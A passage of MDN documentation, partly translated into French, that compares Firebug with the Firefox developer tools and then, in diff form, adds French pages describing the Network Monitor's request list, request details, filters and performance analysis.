L'onglet Style de Firebug ainsi que l'onglet Règles des outils de developpement fournissent tous deux l'option dans leurs menu contextuels de copier/coller les règles CSS. Les outils de développement fournissent en plus une option pour copier le sélecteur d'une règle et de copier les règles désactivé comme du code commenté. Il manque par contre les options por copier la déclaration de style entière. Cependant cela peut être fait en sélectionant les règles dans l'onglet et copier la sélection avec Ctrl + C ou via le menu contextuel.

+ +

L'onglet des règles des outils de developpement est plus intélligent quand il s'agit de coller du CSS dedans. Il est possible de coller des déclarations de style entière dans des règles existantes. Et les règles commenté sont directement désactivées.

+ +

Afficher les pseudo-classes

+ +

Firebug permet d'afficher les pseudo-classes CSS {{cssxref(":hover")}}, {{cssxref(":active")}} et {{cssxref(":focus")}} d'un élément, grâce aux options options du menu du panneu latéral Style. Dans les outils de développement, il y a deux façons de faire de même. La première est de les activer via l'onglet pseudo-class dans le panneau des Règles. La seconde est de faire un clic droit sur un élément dans la vue des noeuds et d'affichier les pseudo-classes via le menu contextuel.

+ +

Examiner les raccourcis de propriétés CSS

+ +

Les raccourcis de propriétés CSS peuvent être converties dans leur version complète en sélectionnant l'option Étendre les propriétés raccouricies dans le panneau latéral Style. Le panneau des Règles des outils de developpement est plus malin et permet de les étendre en cliquant sur les acolades entre.

+ +

Afficher uniquement les styles appliqués

+ +

Le panneau latéral Style de Firebug a une option pour afficher uniquement les propriétés CSS d'une règle qui sont appliqué à l'élement sélectionné, et cache alors toutes les règles surchargées. Cette fonctionalité n'est pas présente dans les outils de développement. Mais elle a déja été demandée dans le {{bug(1335327)}}.

+ +

Inspecter le modèle de boite

+ +

Dans Firebug the box model can be inspected via the Layout side panel. In the DevTools the box model is part of the Computed side panel. Both tools highlight the different parts of the box model within the page when hovering them in the box model view. Also, both tools allow you to edit the different values inline via a click on them.

+ +

Inspecter les styles calculés

+ +

 

+ +

Les valeurs calculées des propriétés CSS sont affichées dans le panneau latéral "Calculé" des outils de développement exactement comme elle le sont dans le panneau latéral "Calculé" de Firebug. La différence est que dans outils de développement les propriétés sont toujours listées par ordre alphabétique et non groupées (voir {{bug(977128)}}) et il n'y a pas d'option pour cacher les styles spécifiques à Mozilla, mais il y a un champ de saisie permettant de filtrer les propriétés.

+ +

Inspecter les évènements

+ +

 

+ +

Les événements affectés à un élément sont affichés dans le panneau latéral Événements de Firebug. Dans les outils de développement, ils sont affichés en cliquant sur la petite icône 'ev' à côté d'un élément dans la vue du noeud. Les deux outils permettent d'afficher les écouteurs d'événements "wrapped" (par exemple les écouteurs "wrapped" dans des fonctions jQuery). Pour améliorer l'interface utilisateur des outils de développement, il y a aussi une demande d'ajout d'un panneau latéral Événements comme celui de Firebug (voir {{bug(1226640)}}).

+ +

Stoper l'exécution sur des mutations DOM

+ +

 

+ +

Dans Firebug il est possible de s’arrêter sur les mutations DOM, ce qui signifie que lorsqu'un élément est modifié, l'exécution du script est arrêtée à la ligne correspondante dans le fichier JavaScript, ce qui a causé le changement. Cette fonction peut être activée globalement via le bouton "Break On Mutate", ou individuellement pour chaque élément et pour différents types de changements comme les changements d'attributs, les changements de contenu ou la suppression d'éléments. Malheureusement, les outils de développement n'ont pas encore cette fonctionnalité (voir {{bug(1004678)}}). Pour arrêter l'exécution du script, il est nécessaire de définir un point d'arrêt sur la ligne avec la modification dans le Débogueur.

+ +

Chercher des éléments par sélecteurs CSS ou XPaths

+ +

Firebug permet de rechercher des élément de le panneau HTML par sélecteur CSS ou XPaths. Les outils de développement permentent également de rechercher par sélecteur CSS. Ils affichent même les IDs et classes correspondantes. Rechercher par XPaths n'est pas encore implémenté (voir {{bug(963933)}}.

+ +

Debugger

+ +

What's the Script panel in Firebug, is the Debugger panel in the DevTools. Both allow you to debug JavaScript code executed on a website.

+ +

Switch between sources

+ +

Firebug has a Script Location Menu listing all JavaScript sources related to the website. Those sources can be static, i.e. files, or they can be dynamically generated (i.e. scripts executed via event handlers, eval(), new Function(), etc.). In the DevTools' Debugger panel the scripts are listed at the left side within the Sources side panel. Dynamically generated scripts are only listed there when they are named via a //# sourceURL comment.

+ +

Managing breakpoints

+ +

In Firebug you can set different types of breakpoints, which are all listed within the Breakpoints side panel. In the DevTools the breakpoints are shown below each script source within the Sources side panel. Those panels allow you to enable and disable single or all breakpoints and to remove single breakpoints or all of them at once. They do currently only allow to set script breakpoints. XHR, DOM, Cookie and Error breakpoints are not supported yet (see {{bug(821610)}}, {{bug(1004678)}}, {{bug(895893)}} and {{bug(1165010)}}). While there are no breakpoints for single JavaScript errors, there is a setting Pause on Exceptions within the Debugger panel options.

+ +

Step through code

+ +

Once the script execution is stopped, you can step through the code using the Continue (F8), Step Over (F10), Step Into (F11) and Step Out (Shift+F11) options. They work the same in both tools.

+ +

Examine call stack

+ +

When the script execution is paused, Firebug displays the function call stack within its Stack side panel. In there the functions are listed together with their call parameters. In the DevTools the function call stack is shown within the Call Stack side panel. To see the call parameters in the DevTools, you need to have a look at the Variables side panel.

+ +

Examine variables

+ +

The Watch side panel in Firebug displays the {{domxref("window")}} object (the global scope) by default. With the script execution halted it shows the different variable scopes available within the current call stack frame. Furthermore, it allows you to add and manipulate watch expressions. The DevTools have a Variables side panel, which works basically the same. The main difference is that it is empty when the script execution is not stopped, i.e. it doesn't display the window object. Though you can inspect that object either via the DOM property viewer or via the Web Console.

+ +

Style Editor

+ +

The Style Editor in the Firefox DevTools allows you to examine and edit the different CSS style sheets of a page like Firebug's CSS panel does it. In addition to that it allows to create new style sheets and to import existing style sheets and apply them to the page. It also allows you to toggle individual style sheets.

+ +

Switch between sources

+ +

The CSS panel of Firebug allows to switch between different CSS sources using the CSS Location Menu. The Style Editor has a sidebar for this purpose.

+ +

Edit a style sheet

+ +

Firebug's CSS panel offers three different ways for editing style sheets. The default one is to edit them inline like within the Style side panel. Furthermore it has a Source and a Live Edit mode, which allow to edit the selected style sheet like within a text editor. The Style Editor of the DevTools only has one way to edit style sheets, which corresponds to Firebug's Live Edit mode.

+ +

Try out CSS selectors

+ +

Firebug's Selectors side panel provides a way to validate a CSS selector. It lists all elements matching the entered selector. The DevTools don't have this feature yet, but it's requested in {{bug(1323746)}}.

+ +

Searching within the style sheets

+ +

Firebug allows to search within the style sheets via the search field. The Style Editor in the DevTools also provides a way to search within a style sheet, though there is currently no option to search within multiple sheets (see {{bug(889571)}}) and also not via a regular expression (see {{bug(1362030)}}.

+ +

Performance Tool

+ +

Firebug allows to profile JavaScript performance via the "Profile" button within the Console panel or the console.profile() and console.profileEnd() commands. The DevTools provide advanced tooling regarding performance profiling. A profile can be created via console.profile() and console.profileEnd() like in Firebug or via the "Start Recording Performance" button in the Performance Tool. The output of the Call Tree is the one that comes nearest to the output in Firebug, but the Performance panel provides much more information than just the JavaScript performance. E.g. it also provides information about HTML parsing or layout.

+ +

This is the part where Firebug and the DevTools differ the most, because the outputs are completely different. While Firebug focuses on JavaScript performance and provides detailed information about JavaScript function calls during the profiling session, the Performance Tool in the DevTools offers a broad spectrum of information regarding a website's performance but doesn't go into detail regarding JavaScript function calls.

+ +

View JavaScript call performance

+ +

What comes nearest to Firebug's profiler output is the Call Tree view in the Performance panel. Like in Firebug it lists the total execution time of each function call under Total Time as well as the number of calls under Samples, the time spent within the function under Self Time and the related percentages in reference to the total execution time.

+ +
+

Note: The times and percentages listed in the DevTools' Call Tree view is not equivalent to the ones shown in Firebug, because it uses different APIs sampling the execution of the JavaScript code.

+
+ +

Jump to function declaration

+ +

Like in Firebug's profiler output the Call Tree view of the DevTools' Performance Tool allows to jump to the line of code where the called JavaScript function is defined. In Firebug the source link to the function is located at the right side of the Console panel output while within the DevTools the link is placed on the right side within the Call Tree View.

+ +

Network Monitor

+ +

To monitor network requests Firebug provides a Net panel. The Firefox DevTools allow to inspect the network traffic using the Network Monitor. Both tools provide similar information including a timeline showing the request and response times of the network requests.

+ +

Inspect request information

+ +

Both Firebug and the Firefox DevTools' Network Monitor allow you to inspect the information about a request by clicking on it. The only difference is that Firebug shows the information below the request while the Network Monitor displays it within a side panel.

+ +

In both tools there are different tabs containing different kinds of information for the selected request. They contain a Headers, Params, Response and Cookies panel. A preview of the response is shown within specifically named panels like HTML. The Network Monitor has a Preview panel for this purpose. It doesn't provide information about the cached data yet (see {{bug(859051)}}), but provides a Security tab in addition to Firebug's information and a Timings tab showing detailed information about the network timings.

+ +

View request timings

+ +

Firebug offers detailed information about the network timings related to a request by hovering the Timeline column within its Net panel. The Network Monitor shows this information within a Timings side panel when you select a request.

+ +

View remote address

+ +

The remote address of a request is shown within the Remote IP column within Firebug. In the Network Monitor the address is shown at Remote Address in the Headers tab when a request is selected.

+ +

Search within requests

+ +

The search field within Firebug allows to search within the requests. The search field in the Firefox DevTools filters the requests by the entered string.

+ +

Firebug allowed to search within the response body of the network requests by checking Response Bodies within its search field options. This feature is not available yet within the Network Monitor, but it's requested in {{bug(1334408)}}. While response bodies can't be searched yet, the Network Monitor allows to filter by different request properties.

+ +

Storage Inspector

+ +

The Cookies panel in Firebug displays information related to the cookies created by a page and allows to manipulate the information they store. Within the DevTools this functionality is located within the Storage Inspector. In contrast to Firebug the Storage Inspector not only allows to inspect cookies but also other kinds of storages like the local and session storage, the cache and IndexedDB databases.

+ +

Inspect cookies

+ +

All cookies related to a website are listed inside the Cookies panel in Firebug. Inside the DevTools, the cookies are grouped by domain under the Cookies section within the Storage Inspector. Both show pretty much the same information per cookie, i.e. the name, value, domain, path, expiration date and whether the cookie is HTTP-only.

+ +

The DevTools don't show by default whether a cookie is secure, but this can be enabled by right-clicking the table header and checking Secure from the context menu. Additionally, the DevTools allow to display the creation date of a cookie as well as when it was last accessed and whether it is host-only.

+ +

Edit cookies

+ +

To edit a cookie in Firebug you have to right-click the cookie and choose Edit from the context menu. Then a dialog pops up allowing you to edit the data of the cookie and save it. Inside the Storage Inspector you just have to double-click the data you want to edit. Then an inline editor allows you to edit the value.

+ +

Delete cookies

+ +

Firebug's Cookies panel allows you to delete all cookies of a website via the menu option Cookies > Remove Cookies or by pressing Ctrl+Shift+O. It also allows you to only remove session cookies via Cookies > Remove Session Cookies and to remove single cookies by right-clicking them and choosing Delete. The DevTools Storage Inspector allows to remove all cookies and a single one by right-clicking on a cookie and choosing Delete All resp. Delete "<cookie name>". Additionally, it allows to delete all cookies from a specific domain via the context menu option Delete All From "<domain name>". It currently does not allow to only delete session cookies (see {{bug(1336934)}}).

+ +

Developer Toolbar

+ +

Display of error count

+ +

When there are JavaScript errors on a page, the Firebug Start Button shows a badge with their number. The DevTools show the number of errors in the Developer Toolbar.

+ +

Command API

+ +

Firebug offers a great variety of commands, which can be executed within its command line. The Developer Toolbar also provides an API with a lot of different commands to control the DevTools and execute different tasks.

+ +

Feedback

+ +

We are always happy to respond to feedback and questions. If you have any queries or points of view, feel free to share them on our DevTools Discourse Forum.

diff --git a/files/fr/tools/network_monitor/index.html b/files/fr/tools/network_monitor/index.html new file mode 100644 index 0000000000..9506bbdbe8 --- /dev/null +++ b/files/fr/tools/network_monitor/index.html @@ -0,0 +1,64 @@ +--- +title: Moniteur Réseau +slug: Outils/Moniteur_réseau +tags: + - Debugging + - Dev Tools + - Firefox + - Guide + - Networking + - Tools +translation_of: Tools/Network_Monitor +--- +
{{ToolsSidebar}}
+ +

Le moniteur réseau affiche toutes les requêtes effectuées par Firefox (par exemple, au chargement d'une page ou lors de XMLHttpRequests). Le temps que prend chaque requête ainsi que ses détails seront également affichés.

+ +

Ouvrir le Moniteur Réseau

+ +

Il existe plusieurs façons d'ouvrir le Moniteur :

+ +
    +
  • Utiliser le raccourci clavier Ctrl +  Maj + E ( Command +  Option + E sur Mac).
    • +
  • Sélectionner "Réseau" dans le menu développement ( qui est un sous-menu du menu "Outils" sur MAC OS X et Linux).
    • +
  • Cliquer sur l'onglet "Réseau" dans la boite à outils (appuyer sur F12 pour ouvrir la boite à outils).
    • +
+ +

Le moniteur réseau va alors apparaître au bas de la fenêtre du navigateur. Lors de l'ouverture, le moniteur est vide et ressemble à ceci:

+ +

+ +

Recharger la page ou cliquer su le bouton, activera l'analyse de l'activité réseau. Une fois que l'outil est actif, il ressemblera à ceci:

+ +

Ouvrir Le Moniteur Réseau

+ +

Le moniteur enregistre les requêtes dès le moment où la boite à outils est ouverte, même si l'onglet réseau n'est pas sélectionné. Cela signifie que vous pouvez commencer le débogage d'une page dans la Console puis passer à l'onglet réseau sans avoir à recharger la page.

+ +

Vue d'ensemble de l'interface utilisateur

+ +

L'UI est divisé en quatre grandes catégories :

+ + + +

Écran_Principal_Du_Moniteur_Réseau

+ + + +

Écran analyse de performace

+ +

Utiliser le moniteur Réseau

+ +

Les articles suivants décrivent différents aspects de l'utilisation du Moniteur Réseau :

+ + diff --git a/files/fr/tools/network_monitor/performance_analysis/index.html b/files/fr/tools/network_monitor/performance_analysis/index.html new file mode 100644 index 0000000000..731bce1671 --- /dev/null +++ b/files/fr/tools/network_monitor/performance_analysis/index.html @@ -0,0 +1,43 @@ +--- +title: Analyse de performance réseau +slug: Outils/Moniteur_réseau/Performance_Analysis +tags: + - Debugging + - Dev Tools + - Firefox + - Guide + - Networking + - Tools +translation_of: Tools/Network_Monitor/Performance_Analysis +--- +

{{ToolsSidebar}}

+ +

Le Moniteur Réseau inclut un outil d'analyse de performances pour vous aider à comprendre combien de temps le navigateur met pour télécharger les différentes parties de votre site.

+ +

Analyse des performances

+ +

Pour lancer l'outil d'analyse de performances, cliquez sur l'icône chronomètre en bas de la barre d'outils du Moniteur :

+ +

(notez que si vous venez d'ouvrir le Moniteur Réseau, sans avoir lancé d'analyse, le chronomètre sera dans la fenêtre principale)

+ +

Le Moniteur Réseau charge alors le site deux fois : une avec un cache vide et une avec une mise en cache. Il simule ainsi la première visite du site et les visites suivantes. Il affiche les résultats pour chaque test côte à côte ou verticalement, suivant la place disponible :

+ +

capture décran de performances réseau

+ +

Les résultats de chaque test sont résumés dans un tableau et un diagramme à secteurs. Le tableau rassemble les ressources par type et affiche la taille de chaque ressource ainsi que le temps total pour la charger. Le diagramme "camembert" l'accompagnant affiche la taille relative de chaque ressource.

+ +

Pour revenir à la liste de requêtes, cliquer sur le bouton "Retour" à gauche.

+ +

Cliquer sur un secteur du diagramme affiche le Moniteur Réseau pour cette page, mais avec un filtre seulement pour ce type de ressource

+ +

Fonctionnalités du Moniteur Réseau

+ +

Les articles suivants couvrent les différents aspects de l'utilisation du Moniteur Réseau :

+ + diff --git a/files/fr/tools/network_monitor/recording/index.html b/files/fr/tools/network_monitor/recording/index.html new file mode 100644 index 0000000000..1aff22be9a --- /dev/null +++ b/files/fr/tools/network_monitor/recording/index.html @@ -0,0 +1,32 @@ +--- +title: Enregistrement des journaux réseau +slug: Outils/Moniteur_réseau/recording +translation_of: Tools/Network_Monitor/recording +--- +

{{ToolsSidebar}}

+ +

Il est possible d’interrompre et de reprendre l'enregistrement des requêtes réseau grâce au bouton pause.

+ +

Interrompre/Reprendre l'enregistrement des requêtes réseau

+ +

Le Moniteur Réseau possède un bouton pour interrompre/reprendre l'enregistrement du trafic réseau d'une page. C'est pratique par exemple, pour avoir une vue de la page stable pour un instant T pendant le débug (et ainsi éviter d'avoir quarante milles requêtes qui noient le poisson).

+ +

Le bouton est situé en haut à gauche de la barre d'outils principale du Moniteur. Il ressemble à un bouton pause typique : .

+ +

Voir image :

+ +

+ +

Une fois pressé, le bouton se transforme en une icône "Lecture", afin de reprendre l'enregistrement.

+ +

Fonctionnalités du Moniteur Réseau

+ +

Les articles suivants couvrent les différents aspects de l'utilisation du Moniteur Réseau :

+ + diff --git a/files/fr/tools/network_monitor/request_details/index.html b/files/fr/tools/network_monitor/request_details/index.html new file mode 100644 index 0000000000..f63ae19e4c --- /dev/null +++ b/files/fr/tools/network_monitor/request_details/index.html @@ -0,0 +1,184 @@ +--- +title: Détails des requêtes réseau +slug: Outils/Moniteur_réseau/request_details +translation_of: Tools/Network_Monitor/request_details +--- +

{{ToolsSidebar}}

+ +

Le panneau du détail des requêtes réseau apparait après la sélection d'une requête dans la liste. Ce panneau fournit des informations détaillées sur la requête.

+ +

Détails des requêtes réseau

+ +

Cliquer sur une ligne affiche un nouveau panneau sur le côté droit du moniteur réseau, qui affiche plus d'informations détaillées sur la requête :

+ +

+ +

Les onglets en haut du panneau vous permettent de passer entre cinq différentes pages :

+ +
    +
  • En-têtes
    • +
  • Messages (seulement pour les éléments de WebSocket)
    • +
  • Cookies
    • +
  • Paramètres
    • +
  • Réponse
    • +
  • Délais
    • +
  • Sécurité (seulement pour les pages sécurisées)
    • +
  • Trace de la pile (seulement lorsque la requête a une trace de la pile, c'est-à-dire un script appelé dans un script).
    • +
+ +

Cliquer sur l'icône à gauche des onglets vous permet de fermer le panneau et retourner à la liste.

+ +

En-têtes

+ +

Cet onglet liste des informations essentielles de la requête :

+ +

+ +

Cela inclut :

+ +
    +
  • L'URL de la requête.
    • +
  • La méthode de la requête.
    • +
  • L'adresse IP distante et son port (e de Firefox 39).
    • +
  • Le code d'état, avec un point d'interrogation redirigeant vers la documentation MDN (si disponible)
    • +
  • La requête HTTP et les en-têtes de la réponse qui ont été envoyés.
    • +
  • Un bouton pour éditer et renvoyer la requête
    • +
  • Un bouton pour afficher les en-têtes bruts, et les en-têtes de réponse
    • +
+ +

Il est possible de filtrer les en-têtes qui sont affichés :

+ +

+ +

Une icône en forme de point d'interrogation est présente à côté de chaque en-tête (sur la même ligne que le code d'état). Ce lien pointe vers la documentation des en-têtes HTTP pour en savoir plus.

+ +

Cookies

+ +

Cet onglet énumère tous les détails de chaque cookie avec la requête ou la réponse :

+ +

+ +

Comme avec les en-têtes, vous pouvez filtrer la liste des cookies affichés. La liste complète des attibuts de cookie est affichée (voir la capture ci dessous pour un exemple).

+ +

cookies panel in firefox devtools network monitor, showing a number of cookie attributes including samesite

+ +

L'attribut samesite est affiché depuis Firefox 62 ({{bug("1452715")}}).

+ +

Paramètres

+ +

Cet onglet affiche les paramètres de GET et les données POST de chaque requête :

+ +

+ +

Réponse

+ +

Le contenu complet de la réponse. Si la réponse est du HTML, du JS ou du CSS, elle sera affichée comme texte :

+ +

+ +

Si la réponse est du JSON, elle sera affichée comme objet inspectable :

+ +

Si la réponse est une image, l'onglet affiche un aperçu :

+ +

+ +

Cache

+ +

Si la réponse est mise en cache (c.-à-d. un 304), l'onglet cache affichera tous les détails sur la ressource mise en cache.

+ +

+ +

Parmis ces détails on trouve :

+ +
    +
  • Dernière consultation : La data à laquelle la ressource a été consultée.
    • +
  • Nombre de consultations : Le nombre de fois dans la session où la ressource a été consultée.
    • +
  • Taille des données : La taille de la ressource.
    • +
  • Dernière modification : La data à laquelle la ressource a été modifiée.
    • +
  • Expire le : La date a laquelle la ressource expire.
    • +
  • Appareil : L'appareil depuis lequel la ressource a été consultée (ex: "disque").
    • +
+ +

Pré-visualisation HTML

+ +

Depuis Firefox 59, si la réponse est du HTML, une prévisualisation du HTML rendu apparaitra dans l'onglet Réponse, au-dessus du texte de la réponse.

+ +

+ +

Délais

+ +

L'onglet affiche la séparation entre chaque étape définie dans la spécification de l'Archive HTTP : 

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NomDescription
Bloqué +

Temps passé dans la file d'attente de la connexion réseau

+ +

Le navigateur impose une limite sur le nombre de connexions simultanées qui peuvent être faites à un seul serveur. Dans Firefox, le nombre par défaut est 6. Mais il peut être changé en modifiant la préférence  network.http.max-persistent-connections-per-server. Si toutes les connexions sont en cours d'utilisation, le navigateur ne peut plus charger de ressources jusqu'a ce qu'une connexion de libère.

+
Résolution DNSTemps pris pour résoudre le nom d'un hôte
ConnexionTemps pris pour créer une connexion TCP
EnvoiTemps pris pour envoyer la requête HTTP au serveur
AttenteTemps d'attente du serveur
RéceptionTemps pris pour recevoir la réponse entière depuis le serveur (ou le cache)
+ +

Il présente également la chronologie de la requête de façon plus détaillée et annotée :

+ + + +

+ + + +

Sécurité

+ +

Si le site est chargé via HTTPS, l'onglet "Sécurité" apparait. Il contient les détails sur la connexion sécurisée. Cela inclut le protocole, le chiffrage, et les détails du certificat :

+ + + +

+ + + +

L'onglet sécurité affiche un avertissement sur les faiblesses de sécurité. Actuellement il avertit de deux faiblesses :

+ +
    +
  1. Utiliser SSLv3 au lieu de TLS
    2. +
  2. Utiliser le chiffrage RC4
    3. +
+ +

+ +

Trace de la pile

+ +

La trace de la pile est affichée dans son propre onglet, surprenamment nommé "Trace de la pile". Bien entendu, cela n'est valable que pour les réponses qui possèdent une trace de pile.

+ + + +

diff --git a/files/fr/tools/network_monitor/request_list/index.html b/files/fr/tools/network_monitor/request_list/index.html new file mode 100644 index 0000000000..7b461f7ff2 --- /dev/null +++ b/files/fr/tools/network_monitor/request_list/index.html @@ -0,0 +1,377 @@ +--- +title: Liste des requêtes réseau +slug: Outils/Moniteur_réseau/request_list +translation_of: Tools/Network_Monitor/request_list +--- +

{{ToolsSidebar}}

+ +

La Liste des requêtes réseau du Moniteur Réseau affiche une liste des requêtes faites dans la page depuis son chargement.

+ +

Liste des requêtes réseau

+ +

Par défaut, le moniteur affiche une liste de toutes les requêtes faites lors du chargement de la page, à raison d'une par ligne :Il est également vidé par défaut lors d'un changement de page ou du rafraîchissement de la page. Vous avez la possibilité de modifier ce comportement en cochant "Activer les journaux persistants" dans les paramètres des outils de développement.

+ +

Champs des requêtes réseau

+ +

Il est possible d'afficher/cacher les différentes colonnes avec un clic droit sur l'en-tête du tableau (la ligne des noms des colonnes). Une option "Réinitialiser les colonnes" est également disponible. Voici une liste de toutes les colonnes disponibles:

+ +

Il est également possible d'ajuster la largeur des colonnes pour faciliter la lecture. L'option "Réinitialiser les colonnes" réinitialise aussi la largeur des colonnes.

+ +

{{EmbedYouTube("5fbuDO2s9Pk")}}

+ +

Cliquer sur un en-tête de colonne trie la liste par rapport à cette colonne. "Réinitialiser les colonnes" remet le tri par défaut.

+ +

+ +

Voici une liste des colonnes disponibles:

+ +
    +
  • État : le code de statut HTTP renvoyé. Il est indiqué par une icône de couleur : Le code exact est affiché juste après l'icône. + +
      +
    • un cercle bleu pour les codes d'information (1XX codes). Cela inclut notamment le code 101 (Changement de protocole) pour les upgrades WebSocket.
      • +
    •  un cercle vert pour le succès (codes 2XX),
      • +
    •  un triangle orange pour la redirection (3XX)
      • +
    •  un carré rouge pour les erreurs (4XX et 5XX).
      • +
    •  un cercle gris pour les réponses récupérées dans le cache du navigateur
      • +
    +
    • +
  • Méthode : la méthode de la requête HTTP.
    • +
  • Fichier : nom du fichier requis.
    • +
  • Protocole: Le protocole réseau utilisé pour transférer les donnée.
    • +
  • Scheme: Le "scheme" (https/http/ftp/...) du chemin demandé.
    • +
  • Domaine : le domaine du chemin requis. +
      +
    • ​Si la requête utilise le protocole SSL/TLS et que la connexion a une faiblesse de sécurité telle qu'un chiffrement peu solide, une icône en forme de triangle apparaît à côté du domaine. On peut trouver davantage de détails sur le problème dans l'onglet Sécurité.
      • +
    • Survolez le domaine pour voir l'adresse IP.
      • +
    • Il y a une icône à côté du domaine qui donne des informations supplémentaires sur le statut de sécurité de la requête. Voir icônes de sécurité.
      • +
    +
    • +
  • IP distante: l'adresse IP du serveur répondant à la requête.
    • +
  • Source: La cause de la requête, par exemple un  une requête XHR, un {{htmlelement("img")}}, un script, etc.
    • +
  • Type: Le Content-type de la réponse.
    • +
  • Cookies: Le nombre de "cookies de requêtes" associés à la requête.
    • +
  • Set-Cookies: Le nombre de "cookies de réponse" associés à la requête.
    • +
  • Transfert : Le nombre d'octets qui ont réellement été transférés pour charger la ressource. Cela sera plus petit que "Taille" si la ressource a été compressée. Si la ressource a été chargée depuis le cache d'un service worker, alors la case affiche "service worker"
    • +
  • Taille : la taille de la ressource transférée.
    • +
+ +

La barre supérieure donne l'intitulé des colonnes, et en cliquant sur ces intitulés classera toutes les requêtes en fonction de la colonne sélectionnée.

+ +

Miniature d'image

+ +

Si le fichier est une image, survoler son nom de fichier affichera un aperçu de l'image :

+ +

+ +

Icônes sécurité

+ +

Le Moniteur réseau affiche une icône dans la colonne "Domaine" :

+ +

+ +

Cela donne une information supplémentaire concernant la sécurité de la requête :

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
IcôneSignification
HTTPS
HTTPS faible (un encodage faible par exemple )
HTTPS invalide (un certificat invalide par exemple)
HTTP
Localhost
Indique que l'URL appartient à un traqueur connu qui serait bloqué si le blocage de contenu était activé.
+ +

Pour chaque requête HTTPS faible ou ratée, il est possible de voir des détails du problème dans l'onglet Sécurité.

+ +

Colonne source

+ +

Cette colonne indique la cause de la requête. C'est généralement évident et il est possible de voir la corrélation avec la colonne "Type". Les valeurs les plus courantes sont :

+ +
    +
  • document : le document HTML source.
    • +
  • img: élément {{htmlelement("img")}}.
    • +
  • imageset: élément {{htmlelement("img")}}.
    • +
  • script: un fichier JavaScript.
    • +
  • stylesheet: un fichier CSS.
    • +
+ +

Chronologie

+ +

La liste des requêtes affiche également une chronologie des différentes parties de chaque requête :

+ +

La chronologie de chaque requête est donnée relativement aux autres, de telle façon que vous puissiez voir le temps de chargement total. Pour plus d'informations concernant le code couleur utilisé ici, consultez la section Délais de cette page.

+ +

La chronologie contient également deux lignes verticales :

+ +
    +
  • La ligne bleue marque le point à partir duquel l'évènement DOMContentLoaded de la page est activé.
    • +
  • La ligne rouge marque le point à partir duquel l'évènement load de la page est activé
    • +
+ +

Filtrer les requêtes

+ +

Il est possible de filtrer le contenu des requêtes par type de contenu, par URL, par s'il s'agit de requêtes XMLHttpRequests ou WebSocket, ou par propriétés de requête.

+ +

Bloquer une URL spécifique

+ +

Pour voir comme une page s'en sort sans une ressource, il est possible de bloquer une URL spécifique depuis la liste de requêtes.

+ +

+ +
    +
  1. Survoler la requête voulue.
    2. +
  2. Sélectionner "Bloquer l'URL" dans le menu contextuel.
    3. +
  3. Lors du rechargement de la page, l'URL en question sera bloquée et un message ajouté sur la ligne pour indiquer que la ressources a été bloqué par les outils de développement.
    4. +
+ +

+ +

Pour débloquer l'URL :

+ +

+ +
    +
  1. Survoler la requête voulue.
    2. +
  2. Sélectionner "Débloquer l'URL" dans le menu contextuel
    3. +
  3. Lors du rechargement de la page, l'URL en question sera à nouveau disponible.
    4. +
+ +

Filtrer par type de contenu

+ +

Pour filtrer par type de contenu, il faut utiliser les boutons de la barre d'outils.

+ +

Filtrer les requêtes XHR

+ +

Pour ne voir que les les requêtes {{Glossary("XHR (XMLHttpRequest)", "XHR")}} , il faut utiliser le bouton "XHR" de la barre d'outils

+ +

Filtrer les WebSockets

+ +

Pour ne voir que les connections WebSocket, il faut utiliser le bouton "WS" de la barre d'outils

+ +

Le module complémentaire WebSocket Sniffer peut également s'avérer utile.

+ +

Filtrer par URL

+ +

Pour cela, il y a une barre de recherche dans la barre d'outils. Cliquez à l'intérieur, ou faites la combinaison de touches clavier  Ctrl + F (ou Cmd + F sous Mac) , et saisissez votre recherche. La liste des requêtes réseau sera filtrée en fonction de la chaîne de caractère recherchée, sur les parties concernant le "Domaine" ou le "Fichier".

+ +

{{EmbedYouTube("HUcWOBBhLHg")}}

+ +

Il est possible de filtrer les requêtes qui ne contiennent pas la chaine de caractères recherchée. Il faut pour cela préfixer votre recherche par l'opérateur "-". Par exemple la recherche "-google.fr" affichera toutes les requêtes qui n'ont pas "google.fr" dans leur URL.

+ +

Filtrer par propriétés

+ +

Pour filtrer par propriétés de requêtes, il faut utiliser la boite de recherche de la barre d'outils. Cette boite reconnait les mot-clés spécifiques qui peuvent être utilisés pour filtrer les requêtes. Un mot-clé doit être suivi de deux points, puis d'une valeur de filtre valide. Les valeurs de filtres ne sont pas sensibles à la case (majuscule ou minuscule). précéder l'expression d'un moins (-) inverse le filtre. Il est possible de combiner différents filtres en les séparant par un espace.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Mot-cléSignificationExemple(s)
status-codeAffiche les ressources avec un code de statut HTTP spécifique.status-code:304
methodAffiche les ressources qui ont été requises par un une méthode HTTP spécifique.method:post
domainAffiche les ressources provenant d'un domaine spécifique.domain:mozilla.org
remote-ipAffiche les ressources provenant d'un serveur à l'adress IP spécifique.remote-ip:63.245.215.53
+ remote-ip:[2400:cb00:2048:1::6810:2802]
causeAffiche les ressources qui correspondent à une cause spécifique. Ces types se trouvent dans la colonne source.cause:js
+ cause:stylesheet
+ cause:img
transferredAffiche les ressources ayant une taille de transfert spécifique, ou une taille proche de celle spécifiée. "k" peut être utilisé comme suffixe pour les killobyte et m pour les megabytes. (1k vaut alors 1024).transferred:1k
sizeAffiche les ressources ayant une taille (après décompression) spécifique, ou une taille proche de celle spécifiée. "k" peut être utilisé comme suffixe pour les killobyte et m pour les megabytes. (1k vaut alors 1024)size:2m
larger-thanAffiche les ressources qui sont plus grandes que la taille spécifiée. "k" peut être utilisé comme suffixe pour les killobyte et m pour les megabytes. (1k vaut alors 1024)larger-than:2000
+ -larger-than:4k
mime-typeAffiche les ressources qui coresspondent au type MIME spécifié.mime-type:text/html
+ mime-type:image/png
+ mime-type:application/javascript
isis:cached et is:from-cache affichent uniquement les ressources venant du cache.
+ is:running affiche seulement les ressources en cours de transfert.		is:cached
+ -is:running
schemeAffiche les ressources transfére par le "scheme" spécifié.scheme:http
has-response-headerAffiche les ressources qui contienent la "response header HTTP" spécifiée.has-response-header:cache-control
+ has-response-header:X-Firefox-Spdy
set-cookie-domainAffiche les ressources qui ont un header Set-Cookie avec un attribut Domain qui correspond à la valeur spécifiée.set-cookie-domain:.mozilla.org
set-cookie-nameAffiche les ressources qui ont un header Set-Cookie avec un nom qui correspond à la valeur spécifiée.set-cookie-name:_ga
